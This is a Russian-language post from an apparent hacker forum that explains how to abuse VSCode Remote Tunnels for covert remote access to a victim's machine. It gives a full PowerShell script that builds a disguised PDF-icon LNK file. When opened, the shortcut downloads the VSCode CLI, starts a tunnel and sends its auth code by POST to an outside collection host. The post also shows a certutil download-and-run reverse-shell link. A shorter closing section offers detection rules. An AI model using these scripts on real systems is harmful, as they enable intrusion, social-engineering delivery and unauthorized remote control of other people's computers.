Взлом
Уважаемые гости! При посещении нашего сайта просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.п., а также при обращении за помощью просим быть внимательными: на сайте есть как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант-сервиса. Спасибо, что посетили форум хакеров.

VSCode идеальный инструмент для хакера

BoHDaN★

Новый
Пользователь
Регистрация
7 Авг 2025
Сообщения
19
Реакции
0
Баллы
1
Возраст
31
Туннелирование в VSCode
Как работает туннель?
Знімок екрана 2025-08-25 182538.png

Чтобы создать туннель, можно воспользоваться установленным VSCode или, если необходимо, обратиться к CLI-версии — подписанному Microsoft двоичному файлу code. exe. Загрузить его можно с официального сайта по ссылке.

Visual Studio Code Remote — Tunnels позволяет безопасно подключаться к удаленным машинам без необходимости открывать SSH-порт или разрешать соединение по 22-му порту. Для передачи данных используются сетевые туннели SSH-over-HTTPS, принадлежащие Microsoft. Это также позволяет скрыть IP-адрес атакующих.

На схеме слева мы видим удалённый узел атакующего, из которого он подключается к туннелю, установленному на серверах Microsoft. Таким образом, эти серверы становятся промежуточным звеном в процессе атаки. Атакующий может использовать на своей машине установленный VSCode с расширением Remote Tunnels или веб-интерфейс vscode.dev. Справа находится удалённый компьютер жертвы, на котором работает серверный компонент VSCode, а также открытый туннель. Все команды производятся конкретно на этом компьютере.

Туннелирование работает через серверный компонент VSCode, который использует WSL для установки соединения с сервером Microsoft, применяя шифрование трафика. Поэтому нет необходимости отдельно устанавливать OpenSSH, открывать порты и что-либо дополнительно настраивать на локальном хосте.



Установка туннеля

Microsoft разработала консольную версию VSCode. Это подписанный двоичный файл code.exe, который может установить туннелированный канал управления через http://vscode.dev. При этом для его работы не требуется установка самого приложения VSCode на компьютер. Также portable версия частно поддерживает proxy, но об этом чуть позже. Связь с C&C сервером осуществляется через получение конфигурации от https://global.rel.tunnels.api.visualstudio.com через WebSockets. Для создания атакующего туннеля нужна любая активная учетная запись Github.

Поскольку двоичный файл подписан Microsoft, то не нужно беспокоиться о Mark-of-the-Web, так как он будет проигнорирован, а это позволит обойти Smartscreen. В сочетании с некоторыми действиями, которые будут рассмотрены позже, можно обойти Applocker и ограниченный языковой режим Powershell если они настроены по умолчанию.

Итак, начнем. Для создания туннеля нужно ввести команду:

code tunnel --name <название_туннеля>

Если употреблять CLI-версию, то запускаем исполняемый файл code.exe и вводим команду.

Пример вывода в консоли кода для авторизации устройства:

Код, указанный в последней строке, необходимо ввести на ресурсе для привязки устройств к аккаунту GitHub. После чего у консоли появится прямая ссылка для подключения, или можно воспользоваться вкладкой Remote Explorer на сайте VSCode dev и выбрать нужный активный туннель:

Можно просматривать директории или открыть полноценный терминал, например PowerShell. Можно также устанавливать расширения на удаленную машину и, например, запускать скрипты на Python, если он установлен.

Но как атакующий может это использовать, чтобы получить доступ к чужой машине?

Например, он может замаскировать исполнение команд для создания туннеля под LNK-файл с произвольной иконкой, и при попытке его открыть на машине будет создан туннель. Осталось только применить социальную инженерию и убедить пользователя загрузить и открыть файл.

Как это смотрится на практике.

Сгенерировать подходящий LNK-файл можно с помощью команд в PowerShell:

# Путь к исполняемому файлу

$exePath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"

# Загрузка code.exe с удаленного ресурса, создание туннеля с выводом в файл и отправка этого файла POST запросом на наш адрес

$pay = 'cd C:\temp; iwr -uri https://az764295.vo.msecnd.net/stab...3f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel", "--name", "legittunnel1" -RedirectStandardOutput .\output.txt -NoNewWindow; Start-Sleep 3; iwr -uri "efx4bwm39ofw0orxuluvfuj6cxip6gu5.oastify.com" -Method Post -Body (Get-Content .\output.txt)'

# Запуск через PowerShell команд из переменной $pay без отображения окна процесса

$arguments = "-nop -WindowStyle hidden -c $pay"

# Имя созданной иконки

$LNKName = "Otchet2"

# Вызов WScript для создания LNK файла

$obj = New-Object -ComObject WScript.Shell

$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")

# Запуск свернутого окна

$link.WindowStyle = '7'

# Указывает, что запустит при нажатии на LNK

$link.TargetPath = $exePath

# Иконка PDF

$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"

# Аргументы для исполняемого файла

$link.Arguments = $arguments

$link.Save()



Один из возможных алгоритмов внедрения такой:

скачивание CLI версии VSCode;

создание туннеля, но вывод VSCode направляется в отдельный файл;

отправление файла в POST запросе на сервер атакующего;

введение полученного кода на ресурсе https://github.com/login/device;

подключение к туннелю через https://vscode.dev/.

В последних версиях VSCode, начиная с 1.90, перед подключением к сети появляется дополнительный запрос по выбору провайдера туннеля. Это может быть учетная запись GitHub или Microsoft. Из-за этого представленный POC не будет работать, поскольку выбор провайдера требует интерактивного ввода.

Кроме того, при запуске CLI-версии VSCode в виде нового процесса не происходит автоматического подключения к системному прокси-серверу. Соединение устанавливается напрямую с серверами. При этом нет возможности указать прокси-сервер в качестве параметра команды при создании туннеля.

Детектирование

Рассмотрим события, генерируемые при нажатии на ссылку, на примере следующей команды запуска revers-shell:

# [View](command:workbench.action.terminal.new?{"config":{"executable":"cmd","args":["/c","certutil", "-urlcache","-f","http://10.150.50.103:8081/g","%tmp%/g.exe","&amp;","start","/b","%tmp%/g.exe"]}})

Первое событие это запуск командной строки в журнале Security с EventID 4688:

Рассмотрим изображение выше. Нас интересует запуск процесса cmd.exe (выделенный желтым цветом) как дочернего процесса VSCode (зеленый цвет) с выполнением произвольной команды (красный цвет).

Вся цепочка запущенных процессов отображена на следующем скриншоте. Другие события, кроме запуска cmd.exe, нас мало интересуют, так как заранее мы не знаем, что именно будет записано в PoC

Среди цепочки событий запуска процесса нас интересует поле cmd (красный), где происходит запуск командной строки cmd и поле sproc (зеленый), где указан родительский процесс VSCode.

Схематически это будет выглядеть так:

code.exe -> cmd.exe -> certutil.exe -> cmd.exe -> g.exe

Но это конкретный кейс, поэтому для нас ключевым индикатором будет запуск командной строки или PowerShell от VSCode. Чтобы снизить количество ложных срабатываний, необходимо исключить из правила легитимные запуски командной строки cmd и PowerShell. Исключения сделаны для:

Запуск cmd.exe без выполнения дополнительных команд.

Запуск wsl.exe с ключом –l для перечисления дистрибутивов в системе.

Запуск cmd.exe с выводом сообщения echo ok.

Powershell.exe с запуском скрипта для интеграции с VSCode shellintegration.ps1.

И запуск Powershell.exe с командой -noexit -command "try {., данное событие часто генерируется при работе VSCode".

Заключение

Сегодня мы рассмотрели еще одну уязвимость в расширениях для VSCode, которая позволяет выполнять команды на удаленной машине. Мы изучили последовательность событий, возникающих при использовании этой уязвимости, и предложили правило для Windows, основанное на нетипичном выполнении команд через командную строку или PowerShell.

Также мы рассмотрели туннелирование как удобный инструмент для разработки, который может использоваться атакующими для сокрытия своих действий по легитимному ПО и трафику Microsoft. Учитывая, что многие данные передаются на сервер Microsoft, это становится особенно опасным.

Мы предлагаем несколько способов, которые помогут ограничить использование туннелей. К ним относятся настройка сетевых параметров и создание правила для выявления подозрительной активности.
 
Яндекс.Метрика